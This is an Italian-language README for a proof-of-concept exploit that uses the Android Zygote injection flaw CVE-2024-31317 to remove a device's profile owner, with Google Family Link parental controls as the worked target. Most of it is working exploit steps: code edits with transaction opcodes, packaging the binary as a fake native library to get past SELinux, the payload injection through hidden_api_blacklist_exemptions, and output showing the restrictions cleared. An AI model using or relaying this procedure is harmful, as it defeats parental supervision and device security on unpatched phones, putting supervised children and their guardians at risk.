
Rimuovi i proprietari di profili Android/collegamento Family Link con CVE-2024-31317
Zygotroller è una prova di concetto in grado di rimuovere un proprietario del profilo e le relative restrizioni sfruttando il bug di iniezione Zygote di CVE-2024-31317. Richiede la modalità sviluppatore e che la patch di sicurezza più recente sia antecedente a giugno 2024.
Il sistema di controllo parentale di Google, Family Link, viene mostrato come esempio in questo repository.
Avrai bisogno di un dispositivo abbastanza moderno con una distribuzione basata su Debian per compilare Zygotroller. I precompilati potrebbero essere disponibili o meno a seconda del momento in cui leggi.
Purtroppo questo si basa su parti interne di Android, quindi devi clonare l'intero codice sorgente di Android per compilare Zygotroller. Assicurati di avere almeno 400 GB di spazio libero, anche se probabilmente ne userai meno.
IMPORTANTE SE USI WSL: Assicurati di avere MOLTO swap, altrimenti WSL si bloccherà. Io ho usato 32 GB:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Ora per clonare il sorgente AOSP:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (potrebbe richiedere più tentativi a causa dei limiti di velocità)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (se lo stai testando su un emulatore, cambia arm64 in x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Ora dobbiamo modificare i valori nello script con il nostro effettivo proprietario del profilo e l'opcode per clearProfileOwner.
Il proprietario del profilo può essere nel pacchetto "supervision" dei servizi Google Play o nei servizi Google Play stessi. Esegui dpm list-owners, il mio risultato era:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Questo ci fornisce due informazioni necessarie per Zygotroller: il nome del pacchetto (com.google.android.gms.supervision) e il nome della classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Modifica zygotroll.cpp con il tuo editor di testo preferito e aggiorna queste righe con il componente del proprietario del profilo:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Ora devi trovare l'opcode per la funzione clearProfileOwner di DPM. Per me era "91", ma varia a seconda della versione/tipo di Android che stai usando. Per ottenere l'opcode per clearProfileOwner, ho usato android-svc con il comando
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
Il numero che vedi nell'output sarà l'opcode per clearProfileOwner, apri di nuovo zygotroll.cpp con il tuo editor di testo preferito e modifica il numero qui, con il tuo opcode effettivo:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
Dovresti fare lo stesso con setUserRestriction:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Ora dobbiamo compilare zygotroller:
mm
Questa operazione può richiedere MOLTO tempo alla prima compilazione, le successive richiederanno meno di 1 minuto sulla maggior parte dei computer moderni.
Trova il binario in ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Ora dobbiamo creare un'app che contenga questo binario come "libreria condivisa" che è in realtà l'eseguibile Zygotroller, in modo che SELinux ci permetta di eseguirlo. Puoi usare il mio repository "CopyNativeLib" per questo:
git clone https://github.com/rifting/CopyNativeLib.git
Quindi rinomina il binario Zygotroller in libzygotroller.so e mettilo in app/src/main/jniLibs/arm64-v8a (suppongo che questa sia l'architettura del tuo telefono). Compila l'APK in Android Studio e installalo sul dispositivo con adb install.
Il proprietario del profilo di Family Link per me aveva userid 10090, alias u0_a90
Esegui dumpsys package com.google.android.gms.supervision | grep userId=
Ora dai un'occhiata a payload.sh, su questa riga
inject='\n--setuid=10090...
Modifica l'UID qui da 10090 al tuo UID ottenuto dal comando dumpsys. Se è lo stesso ID, lascialo.
Guarda poco più avanti su quella riga e vedrai
...echo zYg0te $(LD_LIBRARY_PATH=[percorso della tua libreria nativa] [percorso della tua libreria nativa])...
(i tre punti indicano troncamento)
Devi sostituire questi con i percorsi della libreria nativa che hai appena installato sul dispositivo. Esegui pm path com.rifting.copynativelib.
Il percorso del file sarà la directory padre dell'APK mostrata come output del comando, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH deve essere la directory della libreria, e poi il percorso effettivo della libreria dopo di essa.
Quindi quella riga finirà per assomigliare a qualcosa del genere:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
Ci sei quasi! Trasferisci questo file su /data/local/tmp
adb push payload.sh /data/local/tmp
Imposta i permessi:
chmod +x /data/local/tmp/payload.sh
E infine, invia il suo output a hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Ora imposta questo a "0" per evitare un bootloop :)
settings put global hidden_api_blacklist_exemptions 0
Dovresti vedere che il proprietario del profilo di Family Link e tutte le relative restrizioni sono state rimosse. Vai in Impostazioni e gestisci gli account, e rimuovi l'account supervisionato dal dispositivo. Congratulazioni!
Prima:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
Dopo:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...